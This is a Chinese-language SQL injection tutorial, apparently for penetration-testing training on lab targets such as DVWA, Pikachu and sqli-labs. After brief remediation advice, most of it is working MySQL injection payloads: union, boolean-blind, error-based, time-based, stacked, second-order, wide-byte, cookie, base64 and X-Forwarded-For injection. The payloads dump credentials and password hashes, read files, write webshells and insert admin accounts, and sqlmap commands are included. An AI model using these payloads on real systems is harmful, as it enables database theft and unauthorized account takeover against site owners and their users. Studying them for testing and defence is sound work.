SQL注入漏洞
漏洞描述
Web 程序代码中对于用户提交的参数未做过滤就直接放到 SQL 语句中执行,导致参数中的特殊字符打破了 SQL 语句原有逻辑,黑客可以利用该漏洞执 行任意 SQL 语句,如查询数据、下载数据、写入 webshell 、执行系统命令以及绕过登录限制等。
测试方法
在发现有可控参数的地方使用 sqlmap 进行 SQL 注入的检查或者利用,也可以使用其他的 SQL 注入工具,简单点的可以手工测试,利用单引号、and 1=1 和 and 1=2 以及字符型注入进行判断。推荐使用 burpsuite 的 sqlmap 插件,鼠标右键就可以将数据包直接发送到 sqlmap 里面进行检测。
修复建议
代码层最佳防御 sql 漏洞方案:采用 sql 语句预编译和绑定变量,是防御 sql 注入的最佳方法。
( 1 )所有的查询语句都使用数据库提供的参数化查询接口,参数化的语句使用参数而不是将用户输入变量嵌入到 SQL 语句中。当前几乎所有的数据库系统 都提供了参数化 SQL 语句执行接口,使用此接口可以非常有效的防止 SQL 注入攻击。
( 2 )对进入数据库的特殊字符( ' <>&*; 等)进行转义处理或编码转换。
( 3 )确认每种数据的类型,比如数字型的数据就必须是数字,数据库中的存储字段必须对应为 int 型。
( 4 )数据长度应该严格规定,能在一定程度上防止比较长的 SQL 注入语句无法正确执行。
( 5 )网站每个数据层的编码统一,建议全部使用 UTF-8 编码,上下层编码不一致有可能导致一些过滤模型被绕过。
( 6 )严格限制网站用户的数据库的操作权限,给此用户提供仅仅能够满足其工作的权限,从而最大限度的减少注入攻击对数据库的危害。
( 7 )避免网站显示 SQL 错误信息,比如类型错误、字段不匹配等,防止攻击者利用这些错误信息进行一些判断。
1、与Mysql注入的相关知识
在 mysql5 版本以后,mysql 默认在数据库中存放在一个叫 infomation_schema 里面。这个库里面有很多表,重点是 columns 、tables、SCHEMATA这三个表。
SCHEMATA 表字段 SCHEMA_NAME 记录着库的信息
tables 表字段 TABLE_SCHEMA 、TABLE_NAME 分别记录着库名和表名
columns 存储该用户创建的所有数据库的库名、标名和字段名
通过 infomation_schema 查询 bWAPP 库里所有的表和字段
1 select * from information_schema.'columns' where TABLE_SCHEMA = 'bWAPP'
数据库.表名 这种查询方法是指定某个数据库某个表 ``这个符号可以忽略不用
1 select * from information_schema.columns where TABLE_SCHEMA = 'bWAPP'
查询某个库某个表的字段可以这样查询
1 select * from information_schema.COLUMNS where TABLE_SCHEMA = 'bWAPP' and TABLE_NAME ='users'
2、SQL注入原理
SQL 注入漏洞的产生需要满足以下两个条件
- 参数用户可控:从前端传给后端的参数内容是用户可以控制的
- 参数带入数据库查询:传入的参数拼接到 SQL 语句,且带入数据库查询
当用户传入参数为 1'的时候,在数据库执行如下
select * from users where id=1' 此 SQL 语句不符合语法规则就会报错
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1
当用户传入参数为 1 and 1=1 时,在数据库执行如下
select * from users where id=1 and 1=1
因为 1=1 为真 id=1 为真 and 两边均为真 所以页面会返回 id=1 的结果
如果用户传入参数为 1 and 1=2 时,在数据库执行如下
select * from users where id=1 and 1=2
因为 1=2 为假 id=1 为真 and 两边有一个为假,所以页面返回与 id=1 不一样的结果
由此可以初步判断存在 SQL 注入漏洞,攻击者可以进一步拼接 SQL 攻击语句进行攻击,致使信息泄露,甚至获取服务器权限
2.1、判断是否存在注入
回显是指页面有数据信息返回
id =1 and 1=1
id = 1 and 1=2
id = 1 or 1=1
id = '1' or '1'='1'
id=" 1 "or "1"="1"
无回显是指根据输入的语句,页面没有任何变化,或者没有数据库中的内容显示到网页中
2.2、三种sql注释符
# 单行注释 注意与 url 中的#区分,常编码为%23
--空格 单行注释 注意为短线短线空格
/*()*/ 多行注释 至少存在俩处的注入 /**/常用来作为空格
2.3、注入流程
是否存在注入并且判断注入类型
判断字段数 order by
确定回显点 union select 1,2
查询数据库信息 @@version @@datadir
查询用户名,数据库名 user() database()
文件读取 union select 1,load_file('C:\\wondows\\win.ini')#
写入webshell select..into outfile...
补充一点,使用 sql 注入遇到转义字符串的单引号或者双引号,可使用 HEX 编码绕过
2.4、SQL 注入分类
按 SQLMap 中的分类来看,SQL 注入类型有以下 5 种:
UNION query SQL injection(可联合查询注入)
Stacked queries SQL injection(可多语句查询注入)堆叠查询
Boolean-based blind SQL injection(布尔型注入)
Error-based SQL injection(报错型注入)
Time-based blind SQL injection(基于时间延迟注入)
2.5、接受请求类型区分
GET 注入 GET 请求参数是放在 URL 里的,GET 请求的 URL 传参有长度限制,中文需要 URL 编码
POST 注入 POST 请求参数是放在请求 body 里的,长度没有限制
COOKIE 注入 cookie 请求参数是放在请求头信息,提交的时候服务器会从请求头获取
2.6、注入数据类型的区分
int 整型 select * from users where id=1
sting 字符型 select * from users where username='admin'
like 搜索型 select * from news where title like '%标题%'
2.7、SQL注入常规思路
1、寻找注入点,可以通过 web 扫描工具实现
2、通过注入点,尝试获得关于连接数据库用户名、数据库名称、连接数据库用户权限、操作系统信息、数据库版本等相关信息
3、猜解关键数据库表及其重要字段与内容(常见如存放管理员账户的表名、字 段名等信息)
3.1 还可以获取数据库的 root 账号、密码
4、可以通过获得的用户信息,寻找后台登录
5、利用后台了解进一步信息
2.8、手工注入常规思路
1.判断是否存在注入,注入是字符型还是数字型
2.猜解 SQL 查询语句中的字段数 order by N
3.确定显示的字段顺序
4.获取当前数据库
5.获取数据库中的表
6.获取表中的字段名
7.查询到账户的数据
3、SQL注入详细过程
猜数据库:
1' union select 1,database()
payload 利用另一种方式:
1' union select user(),database()
查询版本 version()
得到数据库名:pikachu
union 查询结合了两个 select 查询结果,根据上面的 order by 语句可以知道,查询包含两列,为了能够现实两列查询结果,我们需要用 union 查询结合构造的另外一个 select. 注意在使用 union 查询的时候需要和主查询的列数相同。
猜表名:
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema =database()
得到表名:httpinfo,member,message,users,xssblind
group_concat 分组
猜列名:
1' union select 1,group_concat(column_name) from information_schema.columns where table_name =0x7573657273
1' union select 1,group_concat(column_name) from information_schema.columns where table_name ='users'
(用编码就不用单引号,用单引号就不用编码)
得到列:id,login,password,email,secret,admin,user_id,first_name,last_name,user,password,last_login,failed_login
猜用户数据:
列举出几种 payload:
1' union select group_concat(username),group_concat(password) from users
1' union select null,concat_ws(char(32,58,32),user,password) from users
1' union select null,group_concat(concat_ws(char(32,58,32),user,password)) from users
得到用户数据: admin e10adc3949ba59abbe56e057f20f883e
猜 root 用户:
1' union select 1,group_concat(user) from mysql.user
得到 root 用户: debian-sys-maint,mysql.session,mysql.sys,root
4、union联合注入
4.1、注入原理
联合查询注入是联合两个表进行注入攻击,使用关键词 union select 对两个表进行联合查询
两个表的字段数要相同,不然会出现报错
guestbook 表有三个字段
users 表有八个字段
如果直接联合两个表,因为列数不一样会导致出错
整合的联合查询方法
SELECT * FROM guestbook WHERE comment_id=1 union select 1,2,3 from users
guestbook 有个三个字段 users 也需要有三个与之匹配
这些数字可以替换成字段的名称或者函数
替换成函数如下
SELECT * FROM guestbook WHERE comment_id=1 union select database(),user(),version() from users
替换成字段如下
SELECT * FROM guestbook WHERE comment_id=1 union select first_name,user,password from users
如果没有加上 limit 限定条数会把所有内容查询出来,所以都会加上 limit 1 进行限定
只会显示第一条,因为 SELECT * FROM guestbook WHERE comment_id=1 这个语句是存在记录的
SELECT * FROM guestbook WHERE comment_id=1 union select first_name,user,password from users limit 1
如果想要admin的内容可以把1换成其他不存在的记录, 因为默认负数就表示不存在的,所以可以在数字前加上-1 即可显示第二个表的内容
SELECT * FROM guestbook WHERE comment_id=-1 union select first_name,user,password from users limit 1
4.2、注入攻击
分析有 SQL 注入漏洞的代码,通过分析代码,更深入地了解 SQL 注入漏洞
使用$_REQUEST 直接接收 id 参数,且没有进行过滤,且可以接收 cookie get post 这些传递方法
当传入 1 的时候,页面正常返回用户信息
当传入 1' 会出现语句 You have an error in your SQL syntax,这是 mysql 语法错误提示
根据代码分析 '$id' 是属于字符串类型,所以在进行 SQL 注入检测的时候要注意匹配字符串
判断SQL注入
输入 1' and '1'='1 页面返回用户信息 1' and '1'='2 页面返回不一样的信息
可以确定存在 SQL 注入漏洞
判断字段数
使用语句 order by 确定当前表的字符数
order by 1 如果页面返回正常则字段数不少于 1
一直类推直到页面出错,正确的字段数是出错数字减少 1
公式 order by n-1
1' order by 1--+ 正常
1' order by 2--+ 正常
1' order by 3--+ 出错
正常页面
错误页面
即确定字段数为 2
联合查询注入获取敏感信息
联合查询输入数字,查询页面是否有数字输出
输出的地方就是显示的内容但是被数字替换了
-1 是让前面的表查询的内容不存在,所以就会显示显示数字
-1' union select 1,2--+
把数据替换成 mysql 的函数例如 md5(1) ,会在页面返回 1 的 md5 加密信息
接着获取其他数据
version() mysql 版本
database() 当前数据库
user() 当前用户名
group_concat()分组打印字符串
把函数直接替换数字查看页面
-1' union select 1,version()--+
-1' union select 1,group_concat(user(),0x3A,database(),version())--+
如果想一次打印多个敏感信息可以使用 group_concat()把查询的函数全部写入
0x3A (:符号的十六进制) 在 mysql 里会自动转成符号:
查询得知当前库是 dvwa
联合查询注入通过 information_schema 获取表
在黑盒的情况下是不知道当前库有什么表的,可以通过 mysql 自带的 information_schema 查询当前库的表
查询当前库的表 limit 1 相当于 limit 1,1 表示显示第一个表
1 改成 2 就是第二个表,如此类推
第一个表
-1' union select 1,(select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=database() limit 1)--+
第二个表
-1' union select 1,(select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=database() limit 1,2)--+
联合查询注入通过 information_schema 获取字段
同样的查询字段也可以通过内置库 information_schema 里的 COLUMNS
这个表记录所有表的字段,通过 COLUMNS 查询 users 表的字段
获取 users 表第一个字段名
-1' union select 1,((select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='users' limit 1))--+
获取 users 表第二个字段名
-1' union select 1,((select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='users' limit 2,1))--+
获取 users 表第三个字段名
-1' union select 1,((select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='users' limit 3,1))--+
通过联合查询表里的内容
通过以上的黑盒查询获取库名、表名、字段,那么就可以查询某个表的内容
-1' union select 1,(select group_concat(user,0x3a,password) from users limit 1)--+
5、boolean 布尔型盲注入
5.1、注入原理
在页面中不会显示数据库信息,一般情况下只会显示对与错的内容
接收 id 的值后直接带入查询,如果存在即返回 user id exists in the database
否则显示 user id is missing 两种只有正确与错误的页面
页面不会显示数据库里任何内容,如果存在注入,则成为盲注入
盲注入的方式有两种:一种是布尔型盲注入,另外一种是延时注入
判断盲注入
输入 SQL 注入检测语句
判断页面是否不一样,如果不一样大概会存在 SQL 注 入漏洞
1'and '1'='1 一样 1'and '1'='2 不一样
如果输入检测语句页面没有任何改变可以使用延时语句进行检测
1'and sleep(10)--+
sleep() 函数在 mysql 是延时返回的意思,以秒为单位 sleep(10) 即延时10 秒执行
通过以上两个检测方法的判断,可以确定存在 SQL 注入漏洞
布尔型注入攻击
因为页面不会返回任何数据库内容,所以不能使用联合查询将敏感信息显示在页面,但是可以通过构造 SQL 语句获取数据
布尔型盲注入用到的 SQL 语句 select if(1=1,1,0)
if()函数在 mysql 是判断,第一个参数表达式,如果条件成立,会显示 1,否则显示 0
1=1 表达式可以换成构造的 SQL 攻击语句
1' and if(1=1,1,0)--+
这个语句实际上是 1’ and 1,真 and 真,结果为真,1 是存在记录的,所以返回正确页面
1' and if(1=2,1,0)--+
这个语句则是 1’ and 0 ,真 and 假,结果为假,整个 SQL ID 的值也是 0,所以没有记录,返回错误页面
布尔型盲注入获取数据库敏感信息
在黑盒的环境下,通过构造 SQL 注入语句,根据页面的特征确定获取敏感信息
布尔型盲注入用到的函数,SUBSTRING()字符串截取
第一个参数是字符串,第二个参数是开始截取,第三个是截取的长度
select database()查询当前库
通过 substring 截取长度
接着再用 if 函数进行构造,select if(SUBSTRING(database(),1,1)='d',1,0)
判断数据库第一个字是不是字符 d,如果是返回 1 ,否则返回 0
接着判断第二个字符,将 substring 第二个参数写成 2 ,因为要截取第二个字符
select if(SUBSTRING(database(),2,1)='v',1,0) 第二个字符为 v
以此类推,然后拼接字符就是完整的库名
5.2、注入攻击
首先判断注入,判断完注入就获取数据库的长度,得到长度再查询库名,通过库名再查询表,接着通过表查询字段,最后查询某表指定的数据
布尔型盲注入查询长度
要查询当前库名,首先确定要查询数据库的长度,再通过截取字符进行对比
1' and if(length(database())=4,1,0)--+
判断库名的长度为 4,截取第一个字符再进行判断
0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz. @_
每次都要与这些字符进行判断,最后得到 d
1' and if(substring(database(),1,1)='d',1,0)--+
a = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz.@_"
for x in a:
print(x)
抓包发送到测试模块,选择 Cluster boomb 模式,设置两个变量
变量 1 设置长度为 4 ,变量 2 设置导入字典 payload.txt 提交攻击
拼接字符得到库名 dvwa
获取表名
1'and if(substring((select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=database() limit 1),1,1)='g',1,0)--+
抓包分别设置单个变量
攻击得到表名 guestbook,users
获取字段名
再次用 burpsuite 抓包修改变量
1'and if(substring((select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='users' and TABLE_SCHEMA=database() limit 0,1),1,1)='u',1,0)--+
当前库的表的第一个列字符是否等于 u,如果等于 u 返回正确页面,否则返回错误页面
select * from users where user_id=1 and if(substring((select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='users' and TABLE_SCHEMA=database() limit 0,1),1,1)='u',1,0);
攻击得到字段名user_id,user,password,first_name,last_name
获得账号和密码最后整理结果得出 admin:5f4dcc3b5aa765d61d8327deb882cf99
最后得出结果 admin:5f4dcc3b5aa765d61d8327deb882cf99
6、报错注入
数据库报错是指,数据库在执行时,遇到语法不对会显示报错信息,例如语法出错 select 1'
#1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1
程序开发期间需要告诉使用者某些报错信息,方便管理员进行调试,定位文件错误
特别是 php 在执行 SQL 语句时一般都会采用异常处理函数,捕获错误信息
在 php 中使用 mysql_error()函数,如果 SQL 注入存在时,会有报错信息返回, 可以采用报错注入
6.1、注入原理
如果语法错误,msqli_error()、mysqli_connect_error()会将语法错误信息显示到页面上
判断是否存在报错注入
输入单引号报错则有可能存在报错注入,如果拼接 SQL 语句带入到 mysql 执行即存在报错注入
输入 1' and info()--+ 显示当前库,原理是
SELECT first_name, last_name FROM users WHERE user_id = '1' and info()--
会报错显示当前库不存在这个函数,这样当前库名就显示在页面上
输入构造的攻击语句,页面返回数据库信息
1'and (updatexml(1,concat(0x7e,(select user()),0x7e),1))--+
把 user()替换成其他的函数 version() 、database() 就能得到 mysql 的版本信息和当前库名
采用 updatexml 报错函数,只能显示 32 字符长度的内容
如果获取的内容超过 32 字符就要采用字符串截取的方法,每次获取 32 个字符串的长度
除了 updatexml 函数支持报错注入外,mysql 还有很多函数支持报错
1.floor()
select * from test where id=1 and (select 1 from (select count(),concat(user(),floor(rand(0)2))x from information_schema.tables group by x)a); 2.extractvalue()
select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
3.updatexml()
select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
4.geometrycollection()
select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));
5.multipoint()
select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));
6.polygon()
select * from test where id=1 and polygon((select * from(select * from(select user())a)b));
7.multipolygon()
select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));
8.linestring()
select * from test where id=1 and linestring((select * from(select * from(select user())a)b));
9.multilinestring()
select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));
10.exp()
select * from test where id=1 and exp(~(select * from(select user())a));
6.2、注入攻击
在黑盒模式下的报错注入
首先获取当前库,通过库获取表名,接着通过表名获取字段,最后获取字段内容
注入以下语句均可获取库名
1' and info()--+
1'and (updatexml(1,concat(0x7e,(select user()),0x7e),1))--+
得到库名 dvwa
报错注入获取 mysql 账号和密码
获取账号和密码需要 root 用户才有足够大的权限
select authentication_string from mysql.user limit 1;
select(updatexml(1,concat(0x7e,(select (select authentication_string from mysql.user limit 1 )),0x7e),1));
select(updatexml(1,concat(0x7e,(select (substring((select authentication_string from mysql.user limit 1),32,40))),0x7e),1));
报错注入获取表名
通过 mysql 内置库 information_schema 通过构造 SQL 语句查询获取表名
采用 floor 报错不会存在长度问题,查询第一个表名
1'and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
将 LIMIT 0,1 改成 1,1 得到的是第二个表
报错注入获取字段
在获取表名之后就可以获取字段名,如获取 users 的字段
获取第一个字段名
1'and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,column_name,0x7e) FROM information_schema.columns where table_name='users' and TABLE_SCHEMA=database() LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
获取第二个字段名
可以使用 burpsuite 对字段批量获取,抓包修改变量,设置匹配规则
设置网页获取固定内容
报错注入获取某表某段内容
获取到 users 表的名字和字段名后,可以对内容进行查询
1'and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x23,user,0x3a,password,0x23) FROM users limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
如果存在多个用户,把 limit 0,1 改成 1,1
以此类推直到获取最后一个用户为止
使用 busrpsuite 对用户批量获取,再设置过滤网页响应内容
获取到库里 users 表所有用户的账号和密码
7、时间注入
时间注入又名延时注入,属于盲注入的一种,通常是某个注入点无法通过布尔型注入获取数据而采用的一种突破注入的技巧
在 mysql 里函数 sleep() 是延时的意思,sleep(10)就是数据库延时 10 秒返回内容
判断注入可以使用 'and sleep(10) 数据库延时 10 秒返回值,网页响应时间至少要 10 秒,根据这个原理来判断存在 SQL 时间注入
mysql 延时注入用到的函数 sleep() 、if()、substring()
select if(2>1,sleep(10),0) 2>1 这个部分就是注入要构造的 SQL 语句
select if(length(database())>1,sleep(5),0) 查询当前库的长度如果大于 1,就会延时 5 秒 执行
-1' or if(length(database())>1,sleep(5),0)--+
可以看到网页是大于五秒返回,根据这个原理 n>1 n 不延时就能确定当前数据库的长度
如果想要获取数据内容,可以用截取字符再进行字符对比,如果相同就进行延时,这样就能获取字符再拼接就是当前库的内容
代码分析
在黑盒模式下可以使用 sqlmap 对注入检测
sqlmap 支持多种数据库注入,而且支持多种注入方式
sqlmap -u "http://192.168.152.135/06/vul/sqli/sqli_blind_t.php?name=1&submit=%E6%9F%A5%E8%AF%A2#" -p name -v 1 --technique=T
-u 指定检测的 url -p 指定的检测参数 -v 显示调试模式
--technique=T 检测方法为时间注入
sqlmap 检测为时间注入
获取用户名
sqlmap -u "http://192.168.152.135/06/vul/sqli/sqli_blind_t.php?name=1&submit=%E6%9F%A5%E8%AF%A2#" -p name -v 1 --technique=T --current-user --current-db --batch
--current-user 获取用户名
--current-db 获取当前库名
--batch 使用默认模式 自动 y
获取表
-D 指定数据库
--tables 获取表名
sqlmap -u "http://192.168.152.135/06/vul/sqli/sqli_blind_t.php?name=1&submit=%E6%9F%A5%E8%AF%A2#" -p name -v 1 --technique=T --tables -D pikachu --batch
获取字段
-T 指定某个表
--columns 获取字段名
sqlmap -u "http://192.168.152.135/06/vul/sqli/sqli_blind_t.php?name=1&submit=%E6%9F%A5%E8%AF%A2#" -p name -v 1 --technique=T --columns -T users -D pikachu --batch
8、堆叠注入
堆叠查询:堆叠查询可以执行多条 SQL 语句,语句之间以分号隔开,而堆叠查询注入攻击就是利用此特点,在第二条语句中构造要执行攻击的语句
在 mysql 里 mysqli_multi_query 和 mysql_multi_query 这两个函数执行一个或多个数据库的查询,多个查询用分号进行分隔
但是堆叠查询只能返回第一条查询信息,不返回后面的信息
select version();select database()
堆叠注入的危害是很大的,可以任意使用增删改查的语句,例如添加数据库用户、修改数据库、删除数据库
代码分析
分析源码得知,程序获取 get 参数的 id ,使用 mysqli 的方式进行数据查询,在执行语句时候使用了 mysqli_multi_query 函数处理 sql 语句,导致存在堆叠注入
堆叠注入的利用
使用 id=1' and 1=2--+ id=1' and 1=1--+ 确定是否存在注入,接着使用堆叠语法进行检测
-1' union select 1,2,(select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database() limit 1)--+
先获取库里所有的表,再获取字段
-1' union select 1,2,(select group_concat(column_name) from information_schema.columns where TABLE_NAME='users' and TABLE_SCHEMA=database() limit 1)--+
知道表的列名的情况下使用 insert into 插入语句进行增加账号
如果是管理表,直接添加管理员账号即可登录后台
id=-1';insert into users(id,username,password)values(1000,'lxl3344','123456')--+
9、二次注入
二次注入漏洞是一种在 Web 应用程序中广泛存在的安全漏洞形式,相对于一次注入漏洞而言,二次注入漏洞更难以被发现,但是它却具有与一次注入攻击漏洞相同的攻击威力
二次注入的原理,在第一次进行数据库插入数据的时候,仅仅只是使用了 addslashes 或者是借助 get_magic_quotes_gpc 对其中的特殊字符进行了转义,但是 addslashes 有一个特点就是虽然参数在过滤后会添加 “\” 进行转义,但是“\” 并不会插入到数据库中,在写入数据库的时候还是保留了原来的数据
在将数据存入到了数据库中之后,开发者就认为数据是可信的,在下一次需要进行查询的时候,直接从数据库中取出脏数据,没有进行下一步的检验和处理,这样就会造成 SQL 的二次注入。比如在第一次插入数据的时候,数据中带有单引号,直接插入到了数据库中;然后在下一次使用中在拼凑的过程中,就形成了二次注入
二次注入图解
代码分析
在 sqli-lbas 24 中存在二次注入
mysql_escape_string 函数会将特殊字符进行过滤,如' 经过转义就成了\' 然后用 insert into 插入在数据库中
在 login.php 查看源码,登录获取用 mysql_escape_string 对输入的参数进行转义,转义之后在数据库中查找指定的账号和密码,再传入到 session 里
在 pass_change.php 源码中查看
$_SESSION['username'] 复制给$username 无任何过滤,然后带入 UPDATE 语句中造成注入
整个流程就是注册用户,更改密码时会触法注入,通常发生在更改需要二次带入数据时提交的功能里
黑盒环境下进行二次注入
先确定测试的网站是否进行过滤,一般情况下网站都会对输入的参数进行过滤, 然后寻找可能会带入恶意数据二次使用的地方
例如用户注册->修改密码 邮箱注册->修改密码 文章添加->文章编辑等
二次注入多数是字符型注入,所以要注意闭合问题。先注册用户 a’ 再分别注册用户 a' and 1=1# a' and 1=2# 再来可能触发的地方
如果是 lxl3344' and 1=2# 怎么修改都不会成功
这种情况下可以判断是二次注入。这个注入点传入的参数有长度限制,导致二次注入查询敏感信息,二次注入配合 mysql 报错查询数据均不能成功,只能修改其他账号的密码
例如 admin 的密码。 注册用户 admin'# 登录修改密码,就能修改 admin 的密码
10、宽字节注入
在 SQL 进行防注入的时候,一般会开启 gpc,过滤特殊字符。一般情况下开启 gpc 是可以防御很多字符串型的注入,但是如果数据库编码不对,也可以导致 SQL 防注入绕过,达到注入的目的
如果数据库设置宽字节字符集 gbk 会导致宽字节注入,从而逃逸 gpc
简单理解:数据库编码与 PHP 编码设置为不同的两个编码那么就有可能产生宽字节注入
深入理解:要有宽字节注入漏洞,首先要满足数据库后端使用双/多字节解析 SQL 语句,其次还要保证在该种字符集范围中包含低字节位是 0x5C(01011100) 的字符,初步的测试结果 Big5 和 GBK 字符集都是有的,UTF-8 和 GB2312 没有这种字符(也就不存在宽字节注入)
gpc 绕过过程
%df%27===(addslashes)===>%df%5c%27===(数据库 GBK)===>運'
代码分析
从源代码分析存在漏洞的代码,首先 check_addlashes 是将特殊字符进行过滤,将' 变成\'
mysql_query 设置数据库的编码为 gbk 将 id 参数传入到 SQL 中带入查询,传入%df%27 即可逃逸 gpc,故存在宽字节注入
黑盒环境下的宽字节攻击
宽字节检测较为简单,输入%df%27 检测或者配合使用 and 1=1 检测即可
-1%df%27%20and%201=1--+ 页面是否存在乱码
-1%df%27%20or%20sleep(10)--+ 页面是否存在延时
-1%df%27%20union%20select%201,version(),database()--+
11、COOKIE注入
COOKIE 注入与 GET、POST 注入区别不大,只是传递的方式不一样
GET 在 url 传递参数,POST 在 POST 正文传递参数和值,COOKIE 在 cookie 头传值
在 burpsuite 显示传递的方式
1 <?php 2 echo "get ---"; 3 echo $_GET['a']; 4 echo "post ---"; 5 echo $_POST['b']; 6 echo "cookie ---"; 7 echo $_COOKIE['c']; 8 ?>
get 在 url 栏里,即使提交的方法是post,只要在 url 栏上都可以传递 get
post 在正文里,提交的方法必须存在 post
cookie 有没有 post 都可以
代码分析
在Less20中判断是否提交submit
如果存在$cookee = $_COOKIE['uname'],获取值保存到 $cookee 中,再拼接到 sql 带入查询造成注入
黑盒环境下的 cookie 注入攻击
cookie 功能多用于商城购物车,或者用户登录验证,对这些功能模块进行测试,抓取 cookie 包进行安全测试
用 cookie 输入攻击语句提交攻击检测是否存在 SQL 注入
使用 buspsuite 抓包后修改
输入 uname=admin'+and+1%3d1--+ uname=admin'+and+1%3d2--+进行检测
两次提交不同的注入语句网页返回不一样
使用联合查询,查询敏感数据
获取当前用户
-admin'+union+select+1,2,user()--+
获取账号和密码
-admin'+union+select+1,2,(select+concat(username,0x3a,password)+from+users+limit+1)%23
12、base64注入
base64 一般用于数据编码进行传输,例如邮件,也用于图片加密存储在网页中
数据编码可以防止数据丢失,不少网站使用 base64 进行数据传输,如搜索栏或者 id 接收参数,或者使用 base64 处理传递的参数
在 php 中 base64_encode()函数对字符串进行 base64 编码,base64_decode()函数对 base64 进行解码
编码解码流程 1 ->base64 编码->MQ==->base64 解密->1
base64 编码注入,可以绕过 gpc 注入拦截,因为编码过后的字符串不存在特殊字符。编码过后的字符串,在程序中重新被解码,再拼接成 SQL 攻击语句执行,从而形式 SQL 注入
代码分析
从存在漏洞的代码中,首先判断是否有 POST 的 submit 参数过来,如果有使用 $_COOKIE['uname'] 获取 cookis 传过来的账号,再拼接到 SQL 带入查询
$cookee = base64_decode($cookee),这段代码的意思是将 $cookee 传过来的参数进行解码,所以 $cookee 传递过来的数据必须先进行编码,否则会导致出错
黑盒环境下对 base64 编码进行注入
首先观察网站是否存在 base64 编码的数据,例如传递的 id 的值,搜索模块
如果存在类似==等,可以用 base64 解码进行测试
admin'and 1=1-- 编码 YWRtaW4nYW5kIDE9MS0tIA==
admin'and 1=2-- 编码 YWRtaW4nYW5kIDE9Mi0tIA==
本次测试的页面是 cookie 所以需要 cookie 提交,而且有括号需要闭合
用 burpsuite 抓包后修改 cookie 参数提交
第一次提交页面返回存在 admin 第二次提交没有 admin 两个页面返回的结果不相同,所以存在 SQL 注入
本代码存在 mysqli_error 函数,所以可以利用报错注入进一步获取敏感信息
admin')and (updatexml(1,concat(0x7e,(select user()),0x7e),1))--
进行 base64 编码是
YWRtaW4nKWFuZCAodXBkYXRleG1sKDEsY29uY2F0KDB4N2UsKHNlbGVjd CB1c2VyKCkpLDB4N2UpLDEpKS0tICA=
13、xff注入
X-Forwarded-For 简称 XFF 头,它代表了客户端的真实 IP,通过修改他的值就可以伪造客户端 IP。XFF 并不受 gpc 影响,而且开发人员很容易忽略这个 XFF 头,不会对 XFF 头进行过滤
1 <?php 2 echo "xff---".$_SERVER['HTTP_X_FORWARDED_FOR']; 3 ?>
使用 burpsuite X-Forwarded-for: 9.9.9.9 可以随意设置字符串,如果程序中获取这个值再带入数据库查询就会造成 SQL 注入
除了 X-Forwarded-For 还有 HTTP_CLIENT_IP 都可以由客户端控制值,所以服务端接受这两个参数的时候没有过滤,会造成 SQL 注入或者更高的危害
代码分析
getenv('HTTP_X_FORWARDED_FOR')
获取远程客户端的 HTTP_X_FORWARDED_FOR的值,未进行过滤就拼接SQL语句带入查询造成注入
在黑盒环境下 xff 注入攻击
在用户登录注册模块在 HTTP 头信息添加 X-Forwarded-for: 9.9.9.9' ,用户在注册的时候,如果存在安全隐患,会出现错误页面或者报错,从而导致注册或者登录用户失败
burpsuite 抓包输入检测语句提交
X-Forwarded-for: 127.0.0.1'and 1=1#
X-Forwarded-for: 127.0.0.1'and 1=2#
两次提交返回不一样,存在 SQL 注入漏洞,进一步获取敏感信息
X-Forwarded-for: 127.0.0.11'union select 1,2,3,user()#